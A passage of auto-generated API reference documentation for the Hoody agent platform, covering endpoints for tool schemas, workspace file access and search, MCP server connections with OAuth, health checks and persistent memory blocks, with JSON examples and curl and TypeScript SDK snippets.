|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "file_workspace_abc123": {
    "name": "file_workspace_abc123",
    "uri": "hoody://workspace/abc123/files",
    "description": "Files in the active workspace",
    "mimeType": "inode/directory",
    "client": "hoody-filesystem"
  },
  "docs_search_index": {
    "name": "docs_search_index",
    "uri": "hoody://docs/index",
    "description": "Indexed documentation for full-text search",
    "mimeType": "application/json",
    "client": "hoody-docs"
  }
}
```



#### SDK Usage

```ts
const { data } = await client.agent.experimental.listMcpResources({
  workspaceID: "ws_01HXYZ..."
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/experimental/tool`

Get a list of available tools with their JSON schema parameters for a specific provider and model combination.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `provider` | query | string | Yes | Model provider (e.g. `openai`, `anthropic`) |
| `model` | query | string | Yes | Model identifier (e.g. `gpt-4o`, `claude-sonnet-4-5`) |

#### Response



```json
[
  {
    "id": "read_file",
    "description": "Read the contents of a file at the given path.",
    "parameters": {
      "type": "object",
      "properties": {
        "path": {
          "type": "string",
          "description": "Absolute path of the file to read"
        }
      },
      "required": ["path"]
    }
  },
  {
    "id": "web_search",
    "description": "Search the public web and return the top results.",
    "parameters": {
      "type": "object",
      "properties": {
        "query": { "type": "string" },
        "max_results": { "type": "integer", "default": 5 }
      },
      "required": ["query"]
    }
  }
]
```


```json
{
  "data": null,
  "errors": [
    {
      "code": "INVALID_PROVIDER",
      "message": "Provider 'unknown-provider' is not supported"
    }
  ],
  "success": false
}
```



#### SDK Usage

```ts
const { data } = await client.agent.experimental.listToolSchemas({
  workspaceID: "ws_01HXYZ...",
  provider: "anthropic",
  model: "claude-sonnet-4-5"
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/experimental/tool/ids`

Get a list of all available tool IDs, including both built-in tools and dynamically registered tools.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
[
  "read_file",
  "write_file",
  "web_search",
  "run_command",
  "mcp:hoody-filesystem:list_dir",
  "plugin:linear:create_issue"
]
```


```json
{
  "data": null,
  "errors": [
    {
      "code": "WORKSPACE_NOT_FOUND",
      "message": "Workspace 'ws_invalid' does not exist"
    }
  ],
  "success": false
}
```



#### SDK Usage

```ts
const { data } = await client.agent.experimental.listToolIds({
  workspaceID: "ws_01HXYZ..."
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/tools`

Get a unified list of all available tools with their source and enabled status.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
[
  {
    "id": "read_file",
    "description": "Read the contents of a file at the given path.",
    "source": "builtin",
    "sourceName": "core",
    "category": "filesystem",
    "enabled": true,
    "status": "ready",
    "asyncCapable": false,
    "wakePolicy": "auto",
    "permissionKey": "fs.read"
  },
  {
    "id": "mcp_list_dir",
    "description": "List directory contents from the connected filesystem MCP server.",
    "source": "mcp",
    "sourceName": "hoody-filesystem",
    "category": "filesystem",
    "enabled": true,
    "status": "ready",
    "asyncCapable": false,
    "wakePolicy": "next_turn",
    "permissionKey": "mcp.filesystem.list_dir"
  },
  {
    "id": "plugin_linear_create_issue",
    "description": "Create a Linear issue from agent output.",
    "source": "plugin",
    "sourceName": "linear",
    "category": "productivity",
    "enabled": false,
    "status": "needs_auth",
    "asyncCapable": true,
    "wakePolicy": "manual",
    "permissionKey": null
  }
]
```



#### SDK Usage

```ts
const { data } = await client.agent.tools.list({
  workspaceID: "ws_01HXYZ..."
});
```


The `source` field distinguishes between `builtin` (shipped with the platform), `mcp` (exposed by a connected Model Context Protocol server), and `plugin` (registered dynamically by a workspace plugin). The `enabled` flag reflects the current user-level toggle; tools that are disabled are not surfaced to the model.

---

# Agent: Files

**Page:** api/agent/files

[Download Raw Markdown](./api/agent/files.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Agent Files API provides workspace-scoped access to file and search operations. Use these endpoints to list directories, read file contents, check git status, and perform name, text, or symbol searches across a workspace.

All endpoints are scoped to a workspace via the `{workspaceID}` path parameter.

## List files

Returns the files and directories at a given path within a workspace.

`GET /api/v1/workspaces/{workspaceID}/files/file`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier |
| `path` | query | string | Yes | The directory path to list, relative to the workspace root |

### Response (200)

Returns an array of `agent_FileNode` objects describing each entry at the requested path.

```json
[
  {
    "name": "index.ts",
    "path": "src/index.ts",
    "absolute": "/home/user/project/src/index.ts",
    "type": "file",
    "ignored": false
  },
  {
    "name": "utils",
    "path": "src/utils",
    "absolute": "/home/user/project/src/utils",
    "type": "directory",
    "ignored": false
  }
]
```

**FileNode fields**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `name` | string | Yes | The file or directory name |
| `path` | string | Yes | The path relative to the workspace root |
| `absolute` | string | Yes | The absolute path on disk |
| `type` | string | Yes | One of `"file"`, `"directory"` |
| `ignored` | boolean | Yes | Whether the entry is matched by ignore rules |

### Example request




```bash
curl -X GET "https://api.hoody.com/v1/workspaces/ws_abc123/files/file?path=src" \
  -H "Authorization: Bearer <token>"
```




```ts
const files = await client.agent.files.list({
  workspaceID: "ws_abc123",
  path: "src"
});
```




## Read file

Reads the content of a file, returning text, a unified diff, or base64-encoded binary data.

`GET /api/v1/workspaces/{workspaceID}/files/file/content`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier |
| `path` | query | string | Yes | The file path, relative to the workspace root |

### Response (200)

Returns an `agent_FileContent` object.

```json
{
  "type": "text",
  "content": "export function hello() {\n  return 'world';\n}\n",
  "diff": "@@ -1,3 +1,3 @@\n export function hello() {\n-  return 'hello';\n+  return 'world';\n }\n",
  "patch": {
    "oldFileName": "src/index.ts",
    "newFileName": "src/index.ts",
    "oldHeader": "a/src/index.ts",
    "newHeader": "b/src/index.ts",
    "hunks": [
      {
        "oldStart": 1,
        "oldLines": 3,
        "newStart": 1,
        "newLines": 3,
        "lines": [
          " export function hello() {",
          "-  return 'hello';",
          "+  return 'world';",
          " }"
        ]
      }
    ],
    "index": "abc1234"
  },
  "encoding": "base64",
  "mimeType": "text/typescript"
}
```

**FileContent fields**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `type` | string | Yes | One of `"text"`, `"binary"` |
| `content` | string | Yes | The file content (text or base64-encoded) |
| `diff` | string | No | A unified diff representing changes |
| `patch` | object | No | Structured patch data with old/new file names and hunks |
| `encoding` | string | No | Always `"base64"` when the file is binary |
| `mimeType` | string | No | The detected MIME type of the file |

### Example request




```bash
curl -X GET "https://api.hoody.com/v1/workspaces/ws_abc123/files/file/content?path=src/index.ts" \
  -H "Authorization: Bearer <token>"
```




```ts
const file = await client.agent.files.readContent({
  workspaceID: "ws_abc123",
  path: "src/index.ts"
});
```




## Get file status

Returns the git status of all files in the project, including added, removed, and modified line counts.

`GET /api/v1/workspaces/{workspaceID}/files/file/status`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier |

### Response (200)

Returns an array of `agent_File` objects.

```json
[
  {
    "path": "src/index.ts",
    "added": 5,
    "removed": 2,
    "status": "modified"
  },
  {
    "path": "src/new-file.ts",
    "added": 20,
    "removed": 0,
    "status": "added"
  },
  {
    "path": "src/old-file.ts",
    "added": 0,
    "removed": 45,
    "status": "deleted"
  }
]
```

**File fields**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `path` | string | Yes | The file path relative to the workspace root |
| `added` | integer | Yes | Number of lines added |
| `removed` | integer | Yes | Number of lines removed |
| `status` | string | Yes | One of `"added"`, `"deleted"`, `"modified"` |

### Example request




```bash
curl -X GET "https://api.hoody.com/v1/workspaces/ws_abc123/files/file/status" \
  -H "Authorization: Bearer <token>"
```




```ts
const status = await client.agent.files.getStatus({
  workspaceID: "ws_abc123"
});
```




## Find text

Searches for a text pattern across files using ripgrep. Returns matching lines with file path, line number, and submatch positions.

`GET /api/v1/workspaces/{workspaceID}/files/find`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier |
| `pattern` | query | string | Yes | The ripgrep pattern to search for |

### Response (200)

Returns an array of match objects.

```json
[
  {
    "path": {
      "text": "src/utils/helpers.ts"
    },
    "lines": {
      "text": "export function formatDate(date: Date) {"
    },
    "line_number": 12,
    "absolute_offset": 345,
    "submatches": [
      {
        "match": {
          "text": "formatDate"
        },
        "start": 17,
        "end": 27
      }
    ]
  }
]
```

**Match fields**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `path` | object | Yes | Object containing the matching file's `text` path |
| `lines` | object | Yes | Object containing the full matching line's `text` |
| `line_number` | number | Yes | The 1-based line number of the match |
| `absolute_offset` | number | Yes | The absolute byte offset of the match in the file |
| `submatches` | array | Yes | Individual submatch ranges within the line |

### Example request




```bash
curl -X GET "https://api.hoody.com/v1/workspaces/ws_abc123/files/find?pattern=formatDate" \
  -H "Authorization: Bearer <token>"
```




```ts
const matches = await client.agent.files.search({
  workspaceID: "ws_abc123",
  pattern: "formatDate"
});
```




## Find files

Searches for files or directories by name or glob pattern within a workspace.

`GET /api/v1/workspaces/{workspaceID}/files/find/file`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier |
| `query` | query | string | Yes | The name or glob pattern to match |
| `dirs` | query | string | No | Restrict results to directories. Allowed values: `"true"`, `"false"` |
| `type` | query | string | No | Restrict the result type. Allowed values: `"file"`, `"directory"` |
| `limit` | query | integer | No | Maximum number of results to return |

### Response (200)

Returns an array of file path strings.

```json
[
  "src/index.ts",
  "src/utils/index.ts",
  "tests/index.test.ts"
]
```

### Example request




```bash
curl -X GET "https://api.hoody.com/v1/workspaces/ws_abc123/files/find/file?query=index.ts" \
  -H "Authorization: Bearer <token>"
```




```ts
const paths = await client.agent.files.findByName({
  workspaceID: "ws_abc123",
  query: "index.ts"
});
```




## Find symbols

Searches for workspace symbols — functions, classes, variables, and other language constructs — using LSP.

`GET /api/v1/workspaces/{workspaceID}/files/find/symbol`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier |
| `query` | query | string | Yes | The symbol name or query string to search for |

### Response (200)

Returns an array of `agent_Symbol` objects.

```json
[
  {
    "name": "formatDate",
    "kind": 12,
    "location": {
      "uri": "file:///src/utils/helpers.ts",
      "range": {
        "start": {
          "line": 11,
          "character": 0
        },
        "end": {
          "line": 13,
          "character": 1
        }
      }
    }
  }
]
```

**Symbol fields**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `name` | string | Yes | The symbol name |
| `kind` | number | Yes | The LSP symbol kind code |
| `location` | object | Yes | The symbol's source location, with a `uri` and `range` |

### Example request




```bash
curl -X GET "https://api.hoody.com/v1/workspaces/ws_abc123/files/find/symbol?query=formatDate" \
  -H "Authorization: Bearer <token>"
```




```ts
const symbols = await client.agent.files.findSymbols({
  workspaceID: "ws_abc123",
  query: "formatDate"
});
```

---

# Agent: Image Generation

**Page:** api/agent/image-gen

[Download Raw Markdown](./api/agent/image-gen.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Get Image Generation Status

Use this endpoint to check the configuration and authentication status of the image generation backend for a workspace. The response indicates whether image generation is enabled, which provider and model are configured, and whether the credentials are valid.

### `GET /api/v1/workspaces/{workspaceID}/image-gen/status`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The ID of the workspace to query. |

### Response



```json
{
  "enabled": true,
  "model": "dall-e-3",
  "provider": "openai",
  "authenticated": true
}
```



### SDK Usage

```ts
const status = await client.agent.imageGen.getStatus({
  workspaceID: "ws_abc123"
});

console.log(status.enabled);
console.log(status.authenticated);
```

---

# Hoody Agent

**Page:** api/agent/index

[Download Raw Markdown](./api/agent/index.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Hoody Agent

The Hoody Agent service is the core runtime that powers AI-assisted development inside workspaces. It manages agent sessions, multi-phase task orchestration, git workflows, persistent memory, file access, MCP server connections, skill discovery, permission handling, and provider configuration. Every long-running agent interaction — from a single prompt to a multi-step orchestrated plan — flows through this service.

Use the endpoints on this page to verify service health, and follow the sub-page links below for the full surface area of each subsystem.

### Sub-services




Create, prompt, fork, revert, abort, and inspect agent sessions.

[→ Sessions API](/api/agent/sessions/)




Multi-phase task execution, todo management, executor control, and orchestrator sessions.

[→ Orchestration API](/api/agent/orchestration/)




Git branch management for agent workspaces, including PRs and merges.

[→ Branches API](/api/agent/branches/)




Persistent memory blocks, journal entries, and history events.

[→ Memory API](/api/agent/memory/)




Workspace metadata, agents, skills discovery, paths, VCS, LSP, and event subscriptions.

[→ Meta API](/api/agent/meta/)




File listing, search, symbol search, and content reads scoped to a workspace.

[→ Files API](/api/agent/files/)




Model Context Protocol server connections and OAuth flows.

[→ MCP API](/api/agent/mcp/)




Skill marketplace, CRUD, and built-in toggles.

[→ Skills API](/api/agent/skills/)




Tool IDs, tool schemas, and MCP resource enumeration.

[→ Experimental API](/api/agent/experimental/)




Permission requests, replies, and per-tool overrides.

[→ Permissions API](/api/agent/permissions/)




Inter-session questions, replies, and consultations.

[→ Questions API](/api/agent/questions/)




LLM provider listing, auth methods, and OAuth callbacks.

[→ Providers API](/api/agent/providers/)




Agent configuration get/update and tool overrides.

[→ Config API](/api/agent/config/)




Current project metadata and updates.

[→ Project API](/api/agent/project/)




Direct prompt execution endpoints.

[→ Prompt API](/api/agent/prompt/)




Bind and unbind containers to workspaces.

[→ Workspace API](/api/agent/workspace/)




Web search status.

[→ Web Search API](/api/agent/web-search/)




Image generation status.

[→ Image Generation API](/api/agent/image-gen/)




## Health

### `GET /api/v1/workspaces/health`

Returns the standardized 9-field health response for the workspaces service. This endpoint is unauthenticated and is suitable for readiness and liveness probes.

This endpoint takes no parameters.




```bash
curl -X GET https://api.hoody.com/api/v1/workspaces/health
```




```ts
const result = await client.agent.health.healthCheck();
```




Server is healthy.

```json
{
  "status": "ok",
  "service": "hoody-workspaces",
  "built": "2024-01-15T10:30:00Z",
  "started": "2024-01-20T14:22:00Z",
  "memory": {
    "rss": 125829120,
    "heap": 78643200
  },
  "fds": 42,
  "pid": 12345,
  "ip": "10.0.0.5",
  "userAgent": "HoodyClient/1.0"
}
```

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `status` | string | Yes | Health status. Always `"ok"` when the service is responsive. |
| `service` | string | Yes | Service identifier. Always `"hoody-workspaces"`. |
| `built` | string &brvbar; null | Yes | Build timestamp of the running service, or `null` if unavailable. |
| `started` | string | Yes | ISO 8601 timestamp of when the service process started. |
| `memory` | object &brvbar; null | Yes | Process memory usage. Contains `rss` (resident set size in bytes) and `heap` (heap usage in bytes, or `null`). |
| `fds` | number &brvbar; null | Yes | Number of open file descriptors, or `null` if unavailable. |
| `pid` | number | Yes | Process ID of the running service. |
| `ip` | string | Yes | IP address of the host serving the request. |
| `userAgent` | string &brvbar; null | Yes | User-Agent header from the incoming request, or `null` if absent. |

---

# Agent: MCP

**Page:** api/agent/mcp

[Download Raw Markdown](./api/agent/mcp.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



# Agent: MCP

Manage Model Context Protocol (MCP) server connections within a workspace — add new servers, connect or disconnect them, and handle OAuth authentication flows.

## Get MCP status


Returns a map of server name to status object describing the current state of every MCP server in the workspace.


`GET /api/v1/workspaces/{workspaceID}/mcp`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier |

### Response



```json
{
  "filesystem": {
    "status": "connected"
  },
  "github": {
    "status": "needs_auth"
  },
  "weather": {
    "status": "failed",
    "error": "Connection refused"
  },
  "internal-docs": {
    "status": "disabled"
  }
}
```



### SDK Usage

```ts
const status = await client.agent.mcp.getStatus({
  workspaceID: "ws_01HXYZ..."
});
```

---

## Add MCP server

`POST /api/v1/workspaces/{workspaceID}/mcp`

Dynamically register a new MCP server. The `config` field accepts either a local command-based configuration or a remote URL-based configuration.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `name` | string | Yes | Unique name for the MCP server |
| `config` | object | Yes | Server configuration. Either a local config (`McpLocalConfig`) or a remote config (`McpRemoteConfig`) |

**Local config (`McpLocalConfig`)**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `type` | string | Yes | Must be `"local"` |
| `command` | array (string) | Yes | Command and arguments to run the MCP server |
| `environment` | object (string → string) | No | Environment variables to set when running the server |
| `enabled` | boolean | No | Enable or disable the MCP server on startup |
| `timeout` | integer | No | Timeout in ms for MCP server requests. Defaults to `5000` (5 seconds) if not specified. Must be greater than `0`. |

**Remote config (`McpRemoteConfig`)**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `type` | string | Yes | Must be `"remote"` |
| `url` | string | Yes | URL of the remote MCP server |
| `enabled` | boolean | No | Enable or disable the MCP server on startup |
| `headers` | object (string → string) | No | Headers to send with the request |
| `oauth` | object \| boolean | No | OAuth configuration (`McpOAuthConfig`) or `false` to disable OAuth auto-detection |
| `timeout` | integer | No | Timeout in ms for MCP server requests. Defaults to `5000` (5 seconds) if not specified. Must be greater than `0`. |

**OAuth config (`McpOAuthConfig`)**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `clientId` | string | No | OAuth client ID. If not provided, dynamic client registration (RFC 7591) will be attempted. |
| `clientSecret` | string | No | OAuth client secret (if required by the authorization server) |
| `scope` | string | No | OAuth scopes to request during authorization |

### Response



```json
{
  "github": {
    "status": "needs_auth"
  }
}
```


```json
{
  "data": null,
  "errors": [
    {
      "field": "name",
      "message": "A server with this name already exists"
    }
  ],
  "success": false
}
```



### SDK Usage

```ts
// Local (stdio) MCP server
await client.agent.mcp.addServer({
  workspaceID: "ws_01HXYZ...",
  data: {
    name: "filesystem",
    config: {
      type: "local",
      command: ["npx", "-y", "@modelcontextprotocol/server-filesystem", "/data"],
      enabled: true,
      timeout: 10000
    }
  }
});

// Remote MCP server
await client.agent.mcp.addServer({
  workspaceID: "ws_01HXYZ...",
  data: {
    name: "github",
    config: {
      type: "remote",
      url: "https://mcp.example.com/github",
      enabled: true,
      headers: {
        "X-Api-Key": "secret-key"
      },
      oauth: {
        scope: "read:user repo"
      }
    }
  }
});
```

---

## Start MCP OAuth

`POST /api/v1/workspaces/{workspaceID}/mcp/{name}/auth`

Begin the OAuth flow for an MCP server. The returned `authorizationUrl` should be opened in a browser to grant access.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier |
| `name` | path | string | Yes | The MCP server name |

### Response



```json
{
  "authorizationUrl": "https://auth.example.com/oauth/authorize?response_type=code&client_id=demo&redirect_uri=https%3A%2F%2Fapp.example.com%2Fcallback&scope=read%3Auser&state=abc123"
}
```


```json
{
  "data": null,
  "errors": [
    {
      "message": "OAuth is not supported for local MCP servers"
    }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "MCP server 'github' not found in workspace 'ws_01HXYZ...'"
  }
}
```



### SDK Usage

```ts
const result = await client.agent.mcp.startOAuth({
  workspaceID: "ws_01HXYZ...",
  name: "github"
});

// Open result.authorizationUrl in the user's browser
```

---

## Authenticate MCP OAuth

`POST /api/v1/workspaces/{workspaceID}/mcp/{name}/auth/authenticate`

Start the OAuth flow and wait for the callback to complete (the platform opens the browser and captures the redirect).

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier |
| `name` | path | string | Yes | The MCP server name |

### Response



```json
{
  "status": "connected"
}
```


```json
{
  "data": null,
  "errors": [
    {
      "message": "OAuth authentication timed out"
    }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "MCP server 'github' not found in workspace 'ws_01HXYZ...'"
  }
}
```



### SDK Usage

```ts
const status = await client.agent.mcp.authenticateOAuth({
  workspaceID: "ws_01HXYZ...",
  name: "github"
});
```

---

## Complete MCP OAuth

`POST /api/v1/workspaces/{workspaceID}/mcp/{name}/auth/callback`

Complete OAuth authentication for an MCP server by providing the authorization code received from the OAuth provider's redirect.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier |
| `name` | path | string | Yes | The MCP server name |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `code` | string | Yes | Authorization code from OAuth callback |

### Response



```json
{
  "status": "connected"
}
```


```json
{
  "data": null,
  "errors": [
    {
      "field": "code",
      "message": "Authorization code is invalid or has expired"
    }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "MCP server 'github' not found in workspace 'ws_01HXYZ...'"
  }
}
```



### SDK Usage

```ts
const status = await client.agent.mcp.completeOAuth({
  workspaceID: "ws_01HXYZ...",
  name: "github",
  data: {
    code: "auth_code_from_redirect"
  }
});
```

---

## Connect an MCP server

`POST /api/v1/workspaces/{workspaceID}/mcp/{name}/connect`

Open a live connection to a previously registered MCP server. Servers that require authentication will return a `needs_auth` status if the OAuth flow has not been completed.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier |
| `name` | path | string | Yes | The MCP server name |

### Response



```json
true
```



### SDK Usage

```ts
const connected = await client.agent.mcp.connect({
  workspaceID: "ws_01HXYZ...",
  name: "github"
});
```

---

## Disconnect an MCP server

`POST /api/v1/workspaces/{workspaceID}/mcp/{name}/disconnect`

Close an active MCP server connection. The server configuration is preserved and can be reconnected later.

### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `name` | path | string | Yes | name path parameter |
| `workspaceID` | path | string | Yes | workspaceID path parameter |


### Response



```json
true
```



### SDK Usage

```ts
await client.agent.mcp.disconnect({
  workspaceID: "ws_01HXYZ...",
  name: "github"
});
```

---

## Remove MCP OAuth

`DELETE /api/v1/workspaces/{workspaceID}/mcp/{name}/auth`

Delete stored OAuth credentials for an MCP server. The server remains registered, but it will need to be re-authenticated before connecting.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier |
| `name` | path | string | Yes | The MCP server name |

### Response



```json
{
  "success": true
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "MCP server 'github' not found in workspace 'ws_01HXYZ...'"
  }
}
```



### SDK Usage

```ts
await client.agent.mcp.removeOAuth({
  workspaceID: "ws_01HXYZ...",
  name: "github"
});
```

---

## MCP status reference

The `MCPStatus` type is a tagged union. Every status object includes a `status` field whose string value identifies the variant:

| Status value | Additional fields | Meaning |
|--------------|-------------------|---------|
| `"connected"` | — | The server is connected and ready to use |
| `"disabled"` | — | The server is registered but disabled |
| `"failed"` | `error` (string) | The last connection attempt failed |
| `"needs_auth"` | — | The server requires OAuth authentication |
| `"needs_client_registration"` | `error` (string) | Dynamic client registration must be performed first |

---

# Agent: Memory

**Page:** api/agent/memory

[Download Raw Markdown](./api/agent/memory.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Agent: Memory

Persistent memory blocks, journal entries, and history events for agent sessions. Use these endpoints to manage structured memory (`global` and `workspace` scopes), search and write journal entries, and audit memory changes over time.

All endpoints are scoped to a workspace via the `{workspaceID}` path parameter.

---

## Configuration

### `GET /api/v1/workspaces/{workspaceID}/memory/config`

Retrieve the memory system configuration for the workspace, including whether memory is enabled and the journal subsystem status.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |

### Response



```json
{
  "enabled": true,
  "journal": {
    "provider": "anthropic",
    "model": "claude-3-5-sonnet"
  }
}
```



### SDK

```ts
const config = await client.agent.memory.getConfig({
  workspaceID: "ws_01HXYZ..."
});
```

---

## Memory Blocks

Memory blocks are named, bounded text containers that agents can read from and write to. Each block has a `label`, a `scope` (`global` or `workspace`), an optional `limit`, and a `value`.

### `GET /api/v1/workspaces/{workspaceID}/memory/blocks`

List all memory blocks. Use the `?scope=global` or `?scope=workspace` query parameter to filter.

### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |


### Response



```json
[
  {
    "label": "persona",
    "scope": "global",
    "description": "Default agent persona and tone",
    "limit": 2000,
    "readOnly": false,
    "value": "You are a careful, concise coding assistant.",
    "projectID": null,
    "lastModified": 1717000000000,
    "charCount": 47
  },
  {
    "label": "user_prefs",
    "scope": "workspace",
    "description": "User preferences for the current workspace",
    "limit": 5000,
    "readOnly": true,
    "value": "Prefers TypeScript. Avoid emojis.",
    "projectID": "proj_abc123",
    "lastModified": 1717100000000,
    "charCount": 33
  }
]
```



### SDK

```ts
const blocks = await client.agent.memory.listBlocks({
  workspaceID: "ws_01HXYZ..."
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/memory/blocks/{label}`

Retrieve a single memory block by its `label`.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |
| `label` | path | string | Yes | The memory block label. |

### Response



```json
{
  "label": "persona",
  "scope": "global",
  "description": "Default agent persona and tone",
  "limit": 2000,
  "readOnly": false,
  "value": "You are a careful, concise coding assistant.",
  "projectID": null,
  "lastModified": 1717000000000,
  "charCount": 47
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Memory block not found"
  }
}
```



### SDK

```ts
const block = await client.agent.memory.getBlock({
  workspaceID: "ws_01HXYZ...",
  label: "persona"
});
```

---

### `PUT /api/v1/workspaces/{workspaceID}/memory/blocks/{label}`

Create or overwrite a memory block. If a block with the given `label` and `scope` already exists, its `value` (and any other provided fields) are replaced.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |
| `label` | path | string | Yes | The memory block label. |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `scope` | string | Yes | Block scope. One of: `global`, `workspace`. |
| `value` | string | Yes | The block's text content. |
| `description` | string | No | Human-readable description of the block's purpose. |
| `limit` | number | No | Maximum character count for the block's value. |
| `readOnly` | boolean | No | When `true`, the block cannot be modified by the agent. |

```json
{
  "scope": "workspace",
  "value": "User prefers TypeScript and concise responses.",
  "description": "User coding preferences",
  "limit": 5000,
  "readOnly": true
}
```

### Response



```json
{
  "label": "user_prefs",
  "scope": "workspace",
  "description": "User coding preferences",
  "limit": 5000,
  "readOnly": true,
  "value": "User prefers TypeScript and concise responses.",
  "projectID": "proj_abc123",
  "lastModified": 1717200000000,
  "charCount": 49
}
```


```json
{
  "data": null,
  "errors": [
    {
      "code": "INVALID_SCOPE",
      "message": "scope must be one of: global, workspace"
    }
  ],
  "success": false
}
```



### SDK

```ts
const block = await client.agent.memory.setBlock({
  workspaceID: "ws_01HXYZ...",
  label: "user_prefs",
  scope: "workspace",
  value: "User prefers TypeScript and concise responses.",
  description: "User coding preferences",
  limit: 5000,
  readOnly: true
});
```

---

### `PATCH /api/v1/workspaces/{workspaceID}/memory/blocks/{label}`

Surgically replace a substring within a memory block's `value` without rewriting the entire block. The `old_str` must match exactly once within the current value.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |
| `label` | path | string | Yes | The memory block label. |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `scope` | string | Yes | Block scope. One of: `global`, `workspace`. |
| `old_str` | string | Yes | The exact substring to find in the current value. |
| `new_str` | string | Yes | The replacement string. |

```json
{
  "scope": "workspace",
  "old_str": "TypeScript",
  "new_str": "TypeScript and Go"
}
```

### Response



```json
{
  "label": "user_prefs",
  "scope": "workspace",
  "description": "User coding preferences",
  "limit": 5000,
  "readOnly": true,
  "value": "User prefers TypeScript and Go and concise responses.",
  "projectID": "proj_abc123",
  "lastModified": 1717300000000,
  "charCount": 53
}
```


```json
{
  "data": null,
  "errors": [
    {
      "code": "STRING_NOT_FOUND",
      "message": "old_str was not found in the block value"
    }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Memory block not found"
  }
}
```



### SDK

```ts
const block = await client.agent.memory.replaceBlock({
  workspaceID: "ws_01HXYZ...",
  label: "user_prefs",
  scope: "workspace",
  old_str: "TypeScript",
  new_str: "TypeScript and Go"
});
```

---

### `DELETE /api/v1/workspaces/{workspaceID}/memory/blocks/{label}`

Delete a custom memory block. Always pass the `scope` explicitly via the `?scope=global` or `?scope=workspace` query parameter to disambiguate which block to remove.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |
| `label` | path | string | Yes | The memory block label. |

### Response



```json
{
  "success": true
}
```


```json
{
  "data": null,
  "errors": [
    {
      "code": "MISSING_SCOPE",
      "message": "scope query parameter is required"
    }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Memory block not found"
  }
}
